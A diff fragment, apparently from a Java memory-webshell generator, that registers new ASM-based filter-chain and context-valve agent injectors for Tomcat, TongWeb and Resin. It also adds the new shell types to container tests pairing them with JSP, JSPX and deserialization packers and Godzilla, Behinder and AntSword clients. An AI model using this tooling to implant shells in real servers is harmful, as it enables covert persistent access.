.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -42,7 +42,9 @@ public class TomcatShell extends AbstractShell {
|
|||||||
.addInjector(VALVE, TomcatValveInjector.class)
|
.addInjector(VALVE, TomcatValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TomcatContextValveAgentWithAsmInjector.class)
|
||||||
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
.addInjector(WEBSOCKET, TomcatWebSocketInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,7 +25,9 @@ public class TongWeb6Shell extends AbstractShell {
|
|||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -25,7 +25,9 @@ public class TongWeb7Shell extends AbstractShell {
|
|||||||
.addInjector(VALVE, TongWebValveInjector.class)
|
.addInjector(VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||||
|
.addInjector(AGENT_FILTER_CHAIN_ASM, TongWebFilterChainAgentWithAsmInjector.class)
|
||||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TongWebContextValveAgentInjector.class)
|
||||||
|
.addInjector(CATALINA_AGENT_CONTEXT_VALVE_ASM, TongWebContextValveAgentWithAsmInjector.class)
|
||||||
.build();
|
.build();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
+32
@@ -0,0 +1,32 @@
|
|||||||
|
package com.reajason.javaweb.memshell.generator;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
||||||
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
|
import com.reajason.javaweb.memshell.injector.tomcat.TomcatFilterChainAgentWithAsmInjector;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
|
import static org.junit.jupiter.api.Assertions.assertTrue;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/3/27
|
||||||
|
*/
|
||||||
|
class InjectorGeneratorTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void testAsm() {
|
||||||
|
InjectorConfig injectorConfig = InjectorConfig.builder()
|
||||||
|
.shellClassBytes("hello".getBytes())
|
||||||
|
.shellClassName("hello")
|
||||||
|
.injectorClass(TomcatFilterChainAgentWithAsmInjector.class)
|
||||||
|
.build();
|
||||||
|
InjectorGenerator injectorGenerator = new InjectorGenerator(ShellConfig.builder().build(), injectorConfig);
|
||||||
|
// injectorGenerator.generate();
|
||||||
|
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
|
||||||
|
assertEquals(2, innerClassBytes.size());
|
||||||
|
innerClassBytes.forEach((innerClassName, value) -> assertTrue(innerClassName.startsWith(injectorConfig.getInjectorClassName())));
|
||||||
|
}
|
||||||
|
}
|
||||||
+7
-1
@@ -57,7 +57,13 @@ public class GlassFish3ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.GlassFish;
|
Server server = Server.GlassFish;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
List<Triple<String, ShellTool, Packers>> unSupportedCases = List.of(
|
||||||
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError
|
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Godzilla, Packers.AgentJar), // ClassFormatError
|
||||||
|
|||||||
+7
-1
@@ -58,7 +58,13 @@ public class GlassFish4ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.GlassFish;
|
Server server = Server.GlassFish;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-1
@@ -51,7 +51,13 @@ public class GlassFish501ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.GlassFish;
|
Server server = Server.GlassFish;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-1
@@ -51,7 +51,13 @@ public class GlassFish510ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.GlassFish;
|
Server server = Server.GlassFish;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-1
@@ -51,7 +51,13 @@ public class GlassFish6ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.GlassFish;
|
Server server = Server.GlassFish;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-1
@@ -51,7 +51,13 @@ public class GlassFish7ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.GlassFish;
|
Server server = Server.GlassFish;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-2
@@ -51,8 +51,13 @@ public class Jboss423ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBossAS;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+7
-2
@@ -51,8 +51,13 @@ public class Jboss510ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBossAS;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||||
null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts
|
null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts
|
||||||
|
|||||||
+7
-2
@@ -51,8 +51,13 @@ public class Jboss610ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBossAS;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+6
-2
@@ -54,8 +54,12 @@ public class Jboss711ContainerTest {
|
|||||||
*/
|
*/
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.JBossAS;
|
Server server = Server.JBossAS;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.ScriptEngine);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-1
@@ -52,7 +52,11 @@ public class Resin3116ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Resin;
|
Server server = Server.Resin;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-1
@@ -51,7 +51,11 @@ public class Resin318ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Resin;
|
Server server = Server.Resin;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-1
@@ -51,7 +51,11 @@ public class Resin4058ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Resin;
|
Server server = Server.Resin;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-1
@@ -51,7 +51,11 @@ public class Resin4067ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Resin;
|
Server server = Server.Resin;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.AGENT_FILTER_CHAIN);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER, ShellType.LISTENER,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -51,8 +51,16 @@ public class Tomcat10ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -52,8 +52,16 @@ public class Tomcat11ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|||||||
+10
-2
@@ -53,8 +53,16 @@ public class Tomcat11JRE21ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, ShellType.JAKARTA_WEBSOCKET,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.JAKARTA_FILTER,
|
||||||
|
ShellType.JAKARTA_LISTENER,
|
||||||
|
ShellType.JAKARTA_VALVE,
|
||||||
|
ShellType.JAKARTA_WEBSOCKET,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM
|
||||||
|
);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||||
}
|
}
|
||||||
|
|||||||
+4
-1
@@ -53,7 +53,10 @@ public class Tomcat5ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE);
|
List<String> supportedShellTypes = List.of(
|
||||||
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.VALVE);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+8
-2
@@ -51,8 +51,14 @@ public class Tomcat6ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
static Stream<Arguments> casesProvider() {
|
||||||
Server server = Server.Tomcat;
|
Server server = Server.Tomcat;
|
||||||
List<String> supportedShellTypes = List.of(ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE,
|
List<String> supportedShellTypes = List.of(
|
||||||
ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE);
|
ShellType.FILTER,
|
||||||
|
ShellType.LISTENER,
|
||||||
|
ShellType.VALVE,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN,
|
||||||
|
ShellType.AGENT_FILTER_CHAIN_ASM,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE,
|
||||||
|
ShellType.CATALINA_AGENT_CONTEXT_VALVE_ASM);
|
||||||
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
List<Packers> testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize);
|
||||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||||
}
|
}
|
||||||
|
|||||||
+9
-2
@@ -51,8 +51,15 @@ public class Tomcat7ContainerTest {
|
|||||||
|
|
||||||
static Stream<Arguments> casesProvider() {
|
